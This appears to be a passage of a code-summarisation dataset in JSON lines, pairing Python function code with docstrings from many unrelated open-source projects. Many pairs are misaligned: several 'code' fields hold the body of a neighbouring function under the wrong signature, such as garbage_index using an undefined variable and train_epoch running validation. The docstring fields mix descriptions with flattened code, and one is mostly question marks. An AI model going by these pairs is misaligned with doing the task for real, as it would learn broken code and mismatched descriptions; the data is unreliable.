\"\n \"Please add the corresponding hybrid_property to the excluded fields in the ObjectType, \"\n \"or use an ORMField to override this behaviour.\")\n\n return graphene_union_for_py_union(cast(typing.List[graphene.ObjectType], list(graphene_types)),\n get_global_registry())\n\n\n@convert_sqlalchemy_hybrid_property_type.register(lambda x: getattr(x, '__origin__', None) in [list, typing.List])", "nl": "Converts Unions (Union[X,Y], or X | Y for python > 3.10) to the corresponding graphene schema object.Since Optionals are internally represented as Union[T, ], they are handled here as well.The GQL Spec currently only allows for ObjectType unions:GraphQL Unions represent an object that could be one of a list of GraphQL Object types, but provides for noguaranteed fields between those types.That's why we have to check for the nested types to be instances of graphene.ObjectType, except for the union case.type(x) == _types.UnionType is necessary to support X | Y notation, but might break in future python releases."} {"code": "def __init__(self, op):\n for op in self.optimizers:\n op.zero_grad()\n", "nl": " ? self.optimizers = opdef zero_grad(self): ? "} {"code": "def get_template_attribute(template_name: str, attribute: str) -> Any:\n return getattr(current_app.jinja_env.get_template(template_name).module, attribute)\n\n", "nl": "Load a attribute from a template.This is useful in Python code in order to use attributes intemplates.Arguments:template_name: To load the attribute from.attribute: The attribute name to load"} {"code": "def test_url_win_filepath():\n remote = Remote()\n remote.url = \"git://example.com\"\n remote.parse_url()\n assert remote.prefix == \"git://example.com/\"\n assert remote.protocol == \"git\"\n assert remote.server == \"example.com\"\n\n", "nl": " Test Url Win FilePath if not os.name == 'nt':returnremote = Remote()remote.url = r\"file:///c:\\path\\to\\foo\"remote.parse_url()assert remote.prefix == r\"file:///c:\\path\\to\\foo\" + \"\\\\\"assert remote.protocol == \"file\"def test_url_git(): Test Url Git "} {"code": "def local_db(fileutils, request, wlmutils):\n launcher = wlmutils.get_test_launcher()\n\n exp_name = request.function.__name__\n exp = Experiment(exp_name, launcher=launcher)\n test_dir = fileutils.make_test_dir(\n caller_function=exp_name, caller_fspath=request.fspath\n )\n db = wlmutils.get_orchestrator()\n db.set_path(test_dir)\n exp.start(db)\n\n yield db\n exp.stop(db)\n\n\n@pytest.fixture", "nl": "Yield fixture for startup and teardown of an local orchestratorexp_name = request.function.__name__exp = Experiment(exp_name, launcher=\"local\")test_dir = fileutils.make_test_dir(caller_function=exp_name, caller_fspath=request.fspath)db = Orchestrator(port=wlmutils.get_test_port(), interface=\"lo\")db.set_path(test_dir)exp.start(db)yield db# pass or fail, the teardown code below is ran after the# completion of a test case that uses this fixtureexp.stop(db)@pytest.fixturedef db(fileutils, wlmutils, request):Yield fixture for startup and teardown of an orchestrator"} {"code": "def generate_hilbert_space(self, size=None, device=None):\n device = device if device is not None else self.device\n size = size if size else self.rbm_am.num_visible\n if size > self.max_size:\n raise ValueError(\"Size of the Hilbert space is too large!\")\n else:\n dim = np.arange(2 ** size)\n space = ((dim[:, None] & (1 << np.arange(size))) > 0)[:, ::-1]\n space = space.astype(int)\n return torch.tensor(space, dtype=torch.double, device=device)\n", "nl": "rGenerates Hilbert space of dimension :math:`2^{\\text{size}}`.:param size: The size of each element of the Hilbert space. Defaults tothe number of visible units.:type size: int:param device: The device to create the Hilbert space matrix on.Defaults to the device this model is on.:returns: A tensor with all the basis states of the Hilbert space.:rtype: torch.Tensor"} {"code": "def lineno():\n if not _state:\n raise RuntimeError, \"no active input()\"\n return _state.lineno()\n", "nl": "Return the cumulative line number of the line that has just been read.Before the first line has been read, returns 0. After the last lineof the last file has been read, returns the line number of that line."} {"code": "def _get_args_from_config(from_config_func, *args, **kwargs):\n signature = inspect.signature(from_config_func)\n if list(signature.parameters.keys())[0] != \"cfg\":\n if inspect.isfunction(from_config_func):\n name = from_config_func.__name__\n else:\n name = f\"{from_config_func.__self__}.from_config\"\n raise TypeError(f\"{name} must take 'cfg' as the first argument!\")\n support_var_arg = any(\n param.kind in [param.VAR_POSITIONAL, param.VAR_KEYWORD]\n for param in signature.parameters.values()\n )\n if support_var_arg:\n ret = from_config_func(*args, **kwargs)\n else:\n supported_arg_names = set(signature.parameters.keys())\n extra_kwargs = {}\n for name in list(kwargs.keys()):\n if name not in supported_arg_names:\n extra_kwargs[name] = kwargs.pop(name)\n ret = from_config_func(*args, **kwargs)\n ret.update(extra_kwargs)\n return ret\n\n", "nl": "Use `from_config` to obtain explicit arguments.Returns:dict: arguments to be used for cls.__init__"} {"code": "def garbage_index():\n graph = _compute_garbage_graphs()[int(index)]\n graph.reduce_to_cycles()\n objects = graph.metadata\n objects.sort(key=lambda x: -x.size)\n return dict(objects=objects, index=index)\n\n", "nl": "Get garbage overview.garbage_graphs = _compute_garbage_graphs()return dict(graphs=garbage_graphs)@bottle.route('/garbage/')@bottle.view('garbage')def garbage_cycle(index):Get reference cycle details."} {"code": "def train_epoch(train_loader, model, criterion, optimizer, epoch, args):\n batch_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n\n model.eval()\n\n for i, (input, target) in enumerate(val_loader):\n target = target.cuda(non_blocking=True)\n input = input.cuda()\n input_var = torch.autograd.Variable(input, volatile=True)\n target_var = torch.autograd.Variable(target, volatile=True)\n\n output = model(input_var)\n loss = criterion(output, target_var)\n\n prec1 = accuracy(output.data, target, topk=(1,))[0]\n losses.update(loss.item(), input.size(0))\n top1.update(prec1.item(), input.size(0))\n\n return losses.avg, top1.avg\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"", "nl": "Train for one epoch on the training setbatch_time = AverageMeter()losses = AverageMeter()top1 = AverageMeter()# switch to train modemodel.train()for i, (input, target) in enumerate(train_loader):target = target.cuda(non_blocking=True)input = input.cuda()input_var = torch.autograd.Variable(input)target_var = torch.autograd.Variable(target)# compute outputoutput = model(input_var)loss = criterion(output, target_var)# measure accuracy and record lossprec1 = accuracy(output.data, target, topk=(1,))[0]losses.update(loss.item(), input.size(0))top1.update(prec1.item(), input.size(0))# compute gradient and do SGD stepoptimizer.zero_grad()loss.backward()optimizer.step()return losses.avg, top1.avgdef validate_epoch(val_loader, model, criterion, epoch, args):Perform validation on the validation set"} {"code": "def can_paginate(operation_name=None):\n pass\n", "nl": "Check if an operation can be paginated.:type operation_name: string:param operation_name: The operation name. This is the same name\\nas the method name on the client. For example, if the\\nmethod name is create_foo, and you\\'d normally invoke the\\noperation as client.create_foo(**kwargs), if the\\ncreate_foo operation can be paginated, you can use the\\ncall client.get_paginator('create_foo')."} {"code": "def CalculateMACCSFingerprint(mol):\n res = {}\n NumFinger = 166\n bv = MACCSkeys.GenMACCSKeys(mol)\n temp = tuple(bv.GetOnBits())\n for i in temp:\n res.update({i: 1})\n\n return NumFinger, res, bv\n\n", "nl": "#################################################################Calculate MACCS keys (166 bits).Usage:result=CalculateMACCSFingerprint(mol)Input: mol is a molecule object.Output: result is a tuple form. The first is the number offingerprints. The second is a dict form whose keys are theposition which this molecule has some substructure. The thirdis the DataStructs which is used for calculating the similarity.#################################################################"} {"code": "def get_unwrapped(self):\n raise NotImplementedError\n\n\nclass _VectorizedGymEnv(VectorEnv):\n \"\"\"Internal wrapper to translate any gym envs into a VectorEnv object.\n", "nl": "Returns the underlying sub environments.Returns:List[Env]: List of all underlying sub environments."} {"code": "def json(self) -> Dict:\n return cls._create_or_update_from_json(obj, instance=None)\n\n @classmethod", "nl": "Return the JSON representation.result = {\"class_name\": self.class_name, \"args\": self.args}if self.file_path is not None:result[\"file_path\"] = str(self.file_path.as_posix())return result@classmethoddef from_json(cls, obj: Dict) -> \"SkillComponentConfiguration\":Initialize from a JSON object."} {"code": "def circle(self, radius, extent = None, steps = None):\n if self.undobuffer:\n self.undobuffer.push([\"seq\"])\n self.undobuffer.cumulate = True\n speed = self.speed()\n if extent is None:\n extent = self._fullcircle\n if steps is None:\n frac = abs(extent)/self._fullcircle\n steps = 1+int(min(11+abs(radius)/6.0, 59.0)*frac)\n w = 1.0 * extent / steps\n w2 = 0.5 * w\n l = 2.0 * radius * math.sin(w2*math.pi/180.0*self._degreesPerAU)\n if radius < 0:\n l, w, w2 = -l, -w, -w2\n tr = self._tracer()\n dl = self._delay()\n if speed == 0:\n self._tracer(0, 0)\n else:\n self.speed(0)\n self._rotate(w2)\n for i in range(steps):\n self.speed(speed)\n self._go(l)\n self.speed(0)\n self._rotate(w)\n self._rotate(-w2)\n if speed == 0:\n self._tracer(tr, dl)\n self.speed(speed)\n if self.undobuffer:\n self.undobuffer.cumulate = False\n\n", "nl": " Draw a circle with given radius.Arguments:radius -- a numberextent (optional) -- a numbersteps (optional) -- an integerDraw a circle with given radius. The center is radius units leftof the turtle; extent - an angle - determines which part of thecircle is drawn. If extent is not given, draw the entire circle.If extent is not a full circle, one endpoint of the arc is thecurrent pen position. Draw the arc in counterclockwise directionif radius is positive, otherwise in clockwise direction. Finallythe direction of the turtle is changed by the amount of extent.As the circle is approximated by an inscribed regular polygon,steps determines the number of steps to use. If not given,it will be calculated automatically. Maybe used to draw regularpolygons.call: circle(radius) # full circle--or: circle(radius, extent) # arc--or: circle(radius, extent, steps)--or: circle(radius, steps=6) # 6-sided polygonExample (for a Turtle instance named turtle):>>> turtle.circle(50)>>> turtle.circle(120, 180) # semicircle"} {"code": "def matched_column_indices(self):\n return self._reshape_and_cast(tf.where(tf.greater(self._match_results, -1)))\n", "nl": "Returns column indices that match to some row.The indices returned by this op are always sorted in increasing order.Returns:column_indices: int32 tensor of shape [K] with column indices."} {"code": "def savepoints(self):\n\n return exclusions.closed()\n\n @property", "nl": "Target database must support savepoints.return exclusions.closed()@propertydef two_phase_transactions(self):Target database must support two-phase transactions."} {"code": "def merge(self, paper):\n\n if self.pk == paper.pk:\n return\n\n self.visible = paper.visible or self.visible\n\n OaiRecord.objects.filter(about=paper.pk).update(about=self.pk)\n self.update_authors(paper.authors, save_now=False)\n\n paper.invalidate_cache()\n\n copied = Paper()\n copied.__dict__.update(paper.__dict__)\n copied.delete()\n\n paper.id = self.id\n self.cache_oairecords()\n self.update_availability()\n", "nl": "Merges another paper into self. This deletes the other paper.We do our best to unify all the metadata parts, but of coursethere will always be some mistakes as there is no way to find outwhich metadata part is best in general.:param paper: The second paper to merge and delete."} {"code": "def postfetch_cols(self):\n\n if not self.context.compiled:\n raise exc.InvalidRequestError(\n \"Statement is not a compiled \"\n \"expression construct.\")\n elif not self.context.isinsert and not self.context.isupdate:\n raise exc.InvalidRequestError(\n \"Statement is not an insert() or update() \"\n \"expression construct.\")\n return self.context.postfetch_cols\n", "nl": "Return ``postfetch_cols()`` from the underlying:class:`.ExecutionContext`.See :class:`.ExecutionContext` for details.Raises :class:`~sqlalchemy.exc.InvalidRequestError` if the executedstatement is not a compiled expression constructor is not an insert() or update() construct."} {"code": "def __setitem__(self, name, value):\n self.set(name, value)\n", "nl": "Dict-like __setitem__ for compatibility with client code. Throwsexception if there is already a cookie of that name in the jar. In thatcase, use the more explicit set() method instead."} {"code": "def _get_zero_degree_nodes(digraph):\n\n return [node for node, degree in digraph.degree() if degree == 0]\n\n", "nl": "Get all the nodes that have degree zero:param digraph: DiGraph object representing the Zettel graph.:return: List of nodes from `digraph` where degree is 0."} {"code": "def messages(self):\n return Collection(self, PATH_MESSAGES, item=Message)\n\n @property", "nl": "Returns the collection of service messages.:return: A :class:`Collection` of :class:`Message` entities."} {"code": "def __call__(self, clazz):\n if not inspect.isclass(clazz):\n raise TypeError(\n \"@Property can decorate only classes, not '{0}'\".format(\n type(clazz).__name__\n )\n )\n\n context = get_factory_context(clazz)\n if context.completed:\n _logger.warning(\n \"@Property: Already manipulated class: %s\",\n get_method_description(clazz),\n )\n return clazz\n\n context.properties[self._name] = self._value\n\n context.properties_fields[self._field] = self._name\n\n context.set_handler(self.HANDLER_ID, None)\n\n setattr(\n clazz,\n self._field,\n _ipopo_class_field_property(\n self._name, self._value, constants.IPOPO_PROPERTY_PREFIX\n ),\n )\n\n return clazz\n\n\nclass HiddenProperty(Property):\n \"\"\"", "nl": "Adds the property to the class iPOPO properties field.Creates the field if needed.:param clazz: The class to decorate:return: The decorated class:raise TypeError: If *clazz* is not a type"} {"code": "def parse_seq(self):\n re = self.parse_prim()\n while not self.end and self.c in \"*+?\":\n if self.c == '*':\n re = Rep(re)\n elif self.c == '+':\n re = Rep1(re)\n else:\n re = Opt(re)\n self.next()\n return re\n", "nl": "Parse a sequence of regexps.re_list = []while not self.end and not self.c in \"|)\":re_list.append(self.parse_mod())return apply(Seq, tuple(re_list))def parse_mod(self):Parse a primitive regexp followed by *, +, ? modifiers."} {"code": "def failure_format_traceback(self, fail):\n try:\n f = io.StringIO()\n fail.printTraceback(file=f)\n return f.getvalue()\n except Exception:\n return \"Failed to format failure traceback for '{0}'\".format(fail)\n", "nl": ":param fail: must be an IFailedFuturereturns a string"} {"code": "def run_ssh(host, port, ssh, command):\n if not host or not port:\n return -2\n\n ssh = [ssh,\n '-o', 'UserKnownHostsFile=/dev/null',\n '-o', 'StrictHostKeyChecking=no',\n '-p', port, host] + command\n\n _LOGGER.debug('Starting ssh: %s', ssh)\n return utils.sane_execvp(ssh[0], ssh)\n\n", "nl": "Runs ssh.if sys.platform == 'win32':run_putty(host, port, ssh, command)else:run_unix(host, port, ssh, command)def run_unix(host, port, ssh, command):Runs standard ssh (non-windows)."} {"code": "def set_bsd_socket_params(self, *, port_reuse=None):\n self._set('reuse-port', port_reuse, cast=bool)\n\n return self._section\n", "nl": "Sets BSD-sockets related params.:param bool port_reuse: Enable REUSE_PORT flag on socket to allow multipleinstances binding on the same address (BSD only)."} {"code": "def __call__(self):\n sys.stderr.write(msg.strip() + '\\n')\n sys.exit(1)", "nl": "Executes the wrapped function and catch common exceptionstry:self.function()except (IOError, ValueError, OSError,RuntimeError, AssertionError) as err:self.exit('fatal error: {}'.format(err))except pkg_resources.DistributionNotFound: # pragma: nocoverself.exit('fatal error: shennong package not found\\n''please install shennong on your system')except KeyboardInterrupt:self.exit('keyboard interruption, exiting')@staticmethoddef exit(msg):Write `msg` on stderr and exit with error code 1"} {"code": "def validate_coil_section(self, driver, config) -> dict:\n\n Pulses a driver when a switch is hit. When the switch is released the pulse continues. Typically used for\n autofire coils such as pop bumpers.\n \"\"\"", "nl": "Validate coil config for platform.if self.get_coil_config_section():spec = self.get_coil_config_section() # pylint: disable-msg=assignment-from-noneconfig = driver.machine.config_validator.validate_config(spec, config, driver.name)elif config:raise AssertionError(\"No platform_config supported but not empty {} for driver {}\".format(config, driver.name))return config@abc.abstractmethoddef set_pulse_on_hit_rule(self, enable_switch: SwitchSettings, coil: DriverSettings):Set pulse on hit rule on driver."} {"code": "def TrimTrailingPaddings(inputs, paddings):\n paddings = HasRank(paddings, 2)\n max_length = tf.maximum(tf.reduce_max(LengthsFromPaddings(paddings)), 1)\n output_shape = tf.shape(inputs)\n output_shape = tf.concat([[output_shape[0], max_length], output_shape[2:]],\n axis=0)\n outputs = tf.slice(inputs, tf.zeros_like(output_shape), output_shape)\n out_paddings = tf.slice(paddings, [0, 0],\n tf.stack([output_shape[0], max_length]))\n return outputs, out_paddings\n\n", "nl": "Trims trailing paddings from inputs.Since the number of dimensions is not fixed, this will not work on TPU.Args:inputs: a tensor with shape [batch, length, ...].paddings: a tensor with shape [batch, length].Returns:Trimmed inputs and paddings. For compatibility reasons, the trimmed tensorswill always have length at least 1."} {"code": "def test_tuple(self):\n self.check(b, a)\n", "nl": "b = x = `1, 2, 3`a = x = repr((1, 2, 3))"} {"code": "def get_aggs_fragment(self, queries, data, *args, **kwargs):\n stripped_queries = list(\n filter(lambda query_fragment: query_fragment[\"key\"] != self.name, queries)\n )\n\n aggs = {}", "nl": "Collect aggregations fragments from the nested children in a mapping.Arguments:----------queries (List[Dict]): a list of all the query fragments composing the globalElasticsearch query and which were collected by calling the `get_query_fragment`method of each filter definitions. Each item in the list is a dictionary mappingthe name of a filter with a query fragment (see above for an example).data (Dict): a dictionary mapping the name of filters with the list ofvalues selected for each filter. Typically the `cleaned_data` output ofa valid filter form:e.g. {\"availability\": [\"open\"], \"languages\": [\"en\", \"fr\"]}Returns:--------List[Dict]:a dictionary mapping the name of aggregation buckets for all the childrenthe nesting wrapper, with an aggregation fragment that will be added to theglobal Elasticsearch aggregation query to get facet counts related to this value.We can't use term query to face on nested fields because what want to count is thenumber of courses that are not excluded by the applied filters, not the number ofoccurence of a value on a nested field that may be repeated under a given course!We can only use \"filter\" aggregations based on a nested query that excludes thecurrent value on which we are facetting.For example, when filering on archived courses in french or english, the nestedquery is:[{'key': 'course_runs','fragment': [{'nested': {'path': 'course_runs','query': {'bool': {'must': [{'range': {'course_runs.end': {'lte': '2019-03-08'}}},{'terms': {'course_runs.languages': ['en', 'fr']}},]}}}}]}]The aggregations buckets on values of the nested fields should look as follows.- To count on-going courses respecting this query:'availability@ongoing': {'filter': {'bool': {'must': [{'nested': {'path': 'course_runs','query': {'bool': {'must': [{'range': {'course_runs.start': {'lte': '2019-03-08'}}},{'range': {'course_runs.end': {'gte': '2019-03-08}}},{'terms': {'course_runs.languages': ['en']}},]}},}},]}},}- To count french courses respecting this query:'languages@de': {'filter': {'bool': {'must': [{'nested': {'path': 'course_runs','query': {'bool': {'must': [{'range': {'course_runs.end': {'lte': '2019-03-08'}}},{'terms': {'course_runs.languages': ['fr']}},]}},}},]}},}These queries seem very difficult to build but luckily, the nesting wrapper(parent) knows how to build this nested queries via its `get_query_fragment`method. So we start by removing the nested query (as calculated with activefilters) from the list of active queries and pass the parent as argument toeach children so the children can rebuild the query for each of the value,excluding values one-by-one."} {"code": "def test_wsgiErrors(self):\n events = []\n addObserver(events.append)\n self.addCleanup(removeObserver, events.append)\n\n errors = self.render('GET', '1.1', [], [''])", "nl": "The C{'wsgi.errors'} key of the C{environ} C{dict} passed to theapplication is a file-like object (as defined in the U{Input and ErrorsStreams}section of PEP 333) which converts bytes written to it into events forthe logging system."} {"code": "def block_inception_c(inputs, scope=None, reuse=None):\n\n Args:\n inputs: a 4-D tensor of size [batch_size, height, width, 3].\n final_endpoint: specifies the endpoint to construct the network up to.\n It can be one of [ 'Conv2d_1a_3x3', 'Conv2d_2a_3x3', 'Conv2d_2b_3x3',\n 'Mixed_3a', 'Mixed_4a', 'Mixed_5a', 'Mixed_5b', 'Mixed_5c', 'Mixed_5d',\n 'Mixed_5e', 'Mixed_6a', 'Mixed_6b', 'Mixed_6c', 'Mixed_6d', 'Mixed_6e',\n 'Mixed_6f', 'Mixed_6g', 'Mixed_6h', 'Mixed_7a', 'Mixed_7b', 'Mixed_7c',\n 'Mixed_7d']\n scope: Optional variable_scope.\n\n Returns:\n logits: the logits outputs of the model.\n end_points: the set of end_points from the inception model.\n\n Raises:", "nl": "Builds Inception-C block for Inception v4 network.# By default use stride=1 and SAME paddingwith slim.arg_scope([slim.conv2d, slim.avg_pool2d, slim.max_pool2d],stride=1, padding='SAME'):with tf.variable_scope(scope, 'BlockInceptionC', [inputs], reuse=reuse):with tf.variable_scope('Branch_0'):branch_0 = slim.conv2d(inputs, 256, [1, 1], scope='Conv2d_0a_1x1')with tf.variable_scope('Branch_1'):branch_1 = slim.conv2d(inputs, 384, [1, 1], scope='Conv2d_0a_1x1')branch_1 = tf.concat(axis=3, values=[slim.conv2d(branch_1, 256, [1, 3], scope='Conv2d_0b_1x3'),slim.conv2d(branch_1, 256, [3, 1], scope='Conv2d_0c_3x1')])with tf.variable_scope('Branch_2'):branch_2 = slim.conv2d(inputs, 384, [1, 1], scope='Conv2d_0a_1x1')branch_2 = slim.conv2d(branch_2, 448, [3, 1], scope='Conv2d_0b_3x1')branch_2 = slim.conv2d(branch_2, 512, [1, 3], scope='Conv2d_0c_1x3')branch_2 = tf.concat(axis=3, values=[slim.conv2d(branch_2, 256, [1, 3], scope='Conv2d_0d_1x3'),slim.conv2d(branch_2, 256, [3, 1], scope='Conv2d_0e_3x1')])with tf.variable_scope('Branch_3'):branch_3 = slim.avg_pool2d(inputs, [3, 3], scope='AvgPool_0a_3x3')branch_3 = slim.conv2d(branch_3, 256, [1, 1], scope='Conv2d_0b_1x1')return tf.concat(axis=3, values=[branch_0, branch_1, branch_2, branch_3])def inception_v4_base(inputs, final_endpoint='Mixed_7d', scope=None):Creates the Inception V4 network up to the given final endpoint."} {"code": "def serialize(self, queryset, **options):\n self.options = options\n\n self.stream = options.get(\"stream\", StringIO())\n self.selected_fields = options.get(\"fields\")\n\n self.start_serialization()\n for obj in queryset:\n self.start_object(obj)\n for field in obj._meta.local_fields:\n if field.serialize:\n if field.rel is None:\n if self.selected_fields is None or field.attname in self.selected_fields:\n self.handle_field(obj, field)\n else:\n if self.selected_fields is None or field.attname[:-3] in self.selected_fields:\n self.handle_fk_field(obj, field)\n for field in obj._meta.many_to_many:\n if field.serialize:\n if self.selected_fields is None or field.attname in self.selected_fields:\n self.handle_m2m_field(obj, field)\n self.end_object(obj)\n self.end_serialization()\n return self.getvalue()\n", "nl": "Serialize a queryset."} {"code": "def path(self):\n return self._path\n\n @path.setter", "nl": "Gets the path of this V1HTTPGetAction. # noqa: E501Path to access on the HTTP server. # noqa: E501:return: The path of this V1HTTPGetAction. # noqa: E501:rtype: str"} {"code": "def arg_split(s, posix=False):\n\n args_list = [[]]\n lex = shlex.shlex(s, posix=posix)\n\n lex.whitespace_split = True\n args = list(lex)\n for arg in args:\n if \";;\" == arg:\n args_list.append([])\n else:\n args_list[-1].append(arg)\n pass\n pass\n return args_list\n\n", "nl": "Split a command line's arguments in a shell-like manner returnedas a list of lists. Use ';;' with white space to indicate separatecommands.This is a modified version of the standard library's shlex.split()function, but with a default of posix=False for splitting, so that quotesin inputs are respected."} {"code": "def project_export(_id):\n from pybossa.core import project_repo\n from pybossa.cache import projects as cached_projects\n timeout = current_app.config.get('TIMEOUT')\n if queue == 'super':\n projects = cached_projects.get_from_pro_user()\n elif queue == 'high':\n projects = (p.dictize() for p in project_repo.filter_by(published=True)\n if p.owner.pro is False)\n else:\n projects = []\n for project in projects:\n project_id = project.get('id')\n project_short_name = project.get('short_name')\n job = dict(name=get_project_stats,\n args=[project_id, project_short_name], kwargs={},\n timeout=timeout,\n queue=queue)\n yield job\n\n", "nl": "Export project.from pybossa.core import project_repo, json_exporter, csv_exporterapp = project_repo.get(_id)if app is not None:print(\"Export project id %d\" % _id)json_exporter.pregenerate_zip_files(app)csv_exporter.pregenerate_zip_files(app)def get_project_jobs(queue):Return a list of jobs based on user type."} {"code": "def arn(self) -> str:\n return self[\"Name\"]\n\n\nclass ConnectContactFlowMediaStreamAudio(DictWrapper):\n @property", "nl": "The unique queue ARN.return self[\"ARN\"]@propertydef name(self) -> str:The queue name."} {"code": "def test_messageSetStringRepresentationWithInversion(self):\n inputs = [\n MessageSet(imap4.parseIdList(b'2:3')),\n MessageSet(imap4.parseIdList(b'3:2')),\n ]\n\n outputs = [\n \"2:3\",\n \"2:3\",\n ]\n\n for i, o in zip(inputs, outputs):\n self.assertEqual(str(i), o)\n\n", "nl": "In a L{MessageSet}, inverting the high and low numbers in a rangedoesn't affect the meaning of the range. For example, 3:2 displays justlike 2:3, because according to the RFC they have the same meaning."} {"code": "def find_page(self, name):\n for page in self.pages():\n if page.objectName() == name:\n return page\n", "nl": " Find the page with the given name.Parameters----------name : unicodeThe object name for the page of interest.Returns-------result : QPage or NoneThe target page or None if one is not found."} {"code": "def copied_with(self, change_type=None, **kwargs):\n duplicate = copy(self)\n duplicate._set_items(**kwargs)\n target_type = change_type if change_type is not None else self.__content_type__\n if target_type is VALID and not duplicate.is_valid:\n duplicate.__content_type__ = INVALID\n duplicate.validate()\n else:\n duplicate.__content_type__ = target_type\n return duplicate\n", "nl": "Returns a copy of this Struct with some items values changed.The Struct, this method is invoked on, remains unaltered.The returned struct will be validated unless this struct is not valid or the content_type is set to something different than VALID.Args:change_type: content type of the returned struct (Default value = None)kwargs: Items to change, in the form item_name=new_value.**kwargs:Returns:Altered copy of this object"} {"code": "def to_dict(self):\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n", "nl": "Serializes this instance to a Python dictionary.output = copy.deepcopy(self.__dict__)return outputdef to_json_string(self):Serializes this instance to a JSON string."} {"code": "def lcd_init(self):\n x = 0\n top = -2\n if not self.font:", "nl": "Initialize LCD display.try:self.disp.fill(0)self.disp.show()except Exception as err:self.logger.error(\"Could not initialize LCD. \"\"Check your configuration and wiring. \"\"Error: {err}\".format(err=err))def lcd_write_lines(self,message_line_1=None,message_line_2=None,message_line_3=None,message_line_4=None,message_line_5=None,message_line_6=None,message_line_7=None,message_line_8=None):Send strings to display."} {"code": "def authenticating(self):\n return self.refresh_token is not None and self.access_token is None\n\n @property", "nl": "Determine if the library is in the middle of authenticating.return self.device_code is not None and self.refresh_token is None@propertydef refreshing(self):Determine if the library is in the middle of refreshing a refresh token."} {"code": "def _cut_sequence(self, data_sample):\n\n out_data = {}\n offset = tf.random.uniform(shape=[], minval=0, maxval=self.db_seq_len - self.seq_len + 1, dtype=tf.int32)\n for key, tensor in data_sample.items():\n out_data[key] = tf.slice(tensor, [offset], [self.seq_len])\n return out_data\n\n\n @tf.function", "nl": " Cuts a sequence of samples (len==db_se_len) to the desired length (seq_len)."} {"code": "def getContentsSize(self):\n crect = self.contentsRect()\n return (crect.width(), crect.height())\n", "nl": "Returns the contents size (physical size).:returns: content size.:rtype: tuple"} {"code": "def main():\n logging_support.LoggingSupport.initService()\n\n try:\n\n try:\n _parseArgs()\n except SystemExit as e:\n if e.code == 0:\n return\n\n raise\n\n while True:\n _process()\n\n time.sleep(_SLEEP_INTERVAL_SEC)\n\n except KeyboardInterrupt:\n g_log.info(\"Observed KeyboardInterrupt\", exc_info=True)\n except:\n g_log.exception(\"Failed!\")\n raise\n\n\n\nif __name__ == \"__main__\":\n main()", "nl": "NOTE: main also serves as entry point for \"console script\" generated by setup"} {"code": "def setattr(self, info, object, name, value):\n if not info.initialized:\n return\n\n if name == 'units':\n if not unit_manager.is_compatible(value, object.family_name):\n raise TraitError()\n\n value = unit_parser.parse_unit(value, suppress_warnings=False)\n\n super(QuantityViewHandler, self).setattr(info, object, name, value)\n", "nl": " Handles setting a specified object trait's value.Parameters----------object : objectThe object whose attribute is being setname : stringThe name of the attribute being setvalueThe value to which the attribute is being set"} {"code": "def blurhash_encode(image, components_x = 4, components_y = 4, linear = False):\n if components_x < 1 or components_x > 9 or components_y < 1 or components_y > 9:\n raise ValueError(\"x and y component counts must be between 1 and 9 inclusive.\")\n height = float(len(image))\n width = float(len(image[0]))\n\n image_linear = []\n if linear == False:\n for y in range(int(height)):\n image_linear_line = []\n for x in range(int(width)):\n image_linear_line.append([\n srgb_to_linear(image[y][x][0]),\n srgb_to_linear(image[y][x][1]),\n srgb_to_linear(image[y][x][2])\n ])\n image_linear.append(image_linear_line)\n else:\n image_linear = image\n\n components = []\n max_ac_component = 0.0\n for j in range(components_y):\n for i in range(components_x):\n norm_factor = 1.0 if (i == 0 and j == 0) else 2.0\n component = [0.0, 0.0, 0.0]\n for y in range(int(height)):\n for x in range(int(width)):\n basis = norm_factor * math.cos(math.pi * float(i) * float(x) / width) * \\\n math.cos(math.pi * float(j) * float(y) / height)\n component[0] += basis * image_linear[y][x][0]\n component[1] += basis * image_linear[y][x][1]\n component[2] += basis * image_linear[y][x][2]\n\n component[0] /= (width * height)\n component[1] /= (width * height)\n component[2] /= (width * height)\n components.append(component)\n\n if not (i == 0 and j == 0):\n max_ac_component = max(max_ac_component, abs(component[0]), abs(component[1]), abs(component[2]))\n\n dc_value = (linear_to_srgb(components[0][0]) << 16) + \\\n (linear_to_srgb(components[0][1]) << 8) + \\\n linear_to_srgb(components[0][2])\n\n quant_max_ac_component = int(max(0, min(82, math.floor(max_ac_component * 166 - 0.5))))\n ac_component_norm_factor = float(quant_max_ac_component + 1) / 166.0\n\n ac_values = []\n for r, g, b in components[1:]:\n ac_values.append(\n int(max(0.0, min(18.0, math.floor(sign_pow(r / ac_component_norm_factor, 0.5) * 9.0 + 9.5)))) * 19 * 19 + \\\n int(max(0.0, min(18.0, math.floor(sign_pow(g / ac_component_norm_factor, 0.5) * 9.0 + 9.5)))) * 19 + \\\n int(max(0.0, min(18.0, math.floor(sign_pow(b / ac_component_norm_factor, 0.5) * 9.0 + 9.5))))\n )\n\n blurhash = \"\"\n blurhash += base83_encode((components_x - 1) + (components_y - 1) * 9, 1)\n blurhash += base83_encode(quant_max_ac_component, 1)\n blurhash += base83_encode(dc_value, 4)\n for ac_value in ac_values:\n blurhash += base83_encode(ac_value, 2)\n\n return blurhash", "nl": "Calculates the blurhash for an image using the given x and y component counts.Image should be a 3-dimensional array, with the first dimension being y, the secondbeing x, and the third being the three rgb components that are assumed to be 0-255srgb integers (incidentally, this is the format you will get from a PIL RGB image).You can also pass in already linear data - to do this, set linear to True. This isuseful if you want to encode a version of your image resized to a smaller size (whichyou should ideally do in linear colour)."} {"code": "def add_cell_argument(self, name, help, required=False):\n\n for action in self._actions:\n if action.dest == name:\n raise ValueError('Arg \"%s\" was added by add_argument already.' % name)\n\n self._cell_args[name] = {'required': required, 'help': help}\n", "nl": " Add a cell only argument.Args:name: name of the argument. No need to start with \"-\" or \"--\".help: the help string of the argument.required: Whether it is required in cell content."} {"code": "def update_incoming_offer_with_fee(self, source_rate: float, original_rate: float) -> float:\n\n @abstractmethod", "nl": "Add fees for offer's rate when posting it into a market.@abstractmethoddef update_forwarded_bid_with_fee(self, source_rate: float, original_rate: float) -> float:Add fees for bid's rate when it's forwarded by another market."} {"code": "def __getitem__(self, name):\n setattr(self, name, value)\n", "nl": " Gets the field ``name`` from the document # fields = self.get_fields()if name in self._values:return getattr(self, name)raise KeyError(name)def __setitem__(self, name, value): Sets the field ``name`` on the document "} {"code": "def getPermutation(self, n, k):\n remain = range(1, n + 1)\n if k <= 1:\n return ''.join(str(t) for t in remain)\n total = 1\n for num in remain[:-1]:\n total *= num\n res = self.do_getPermutation(remain, 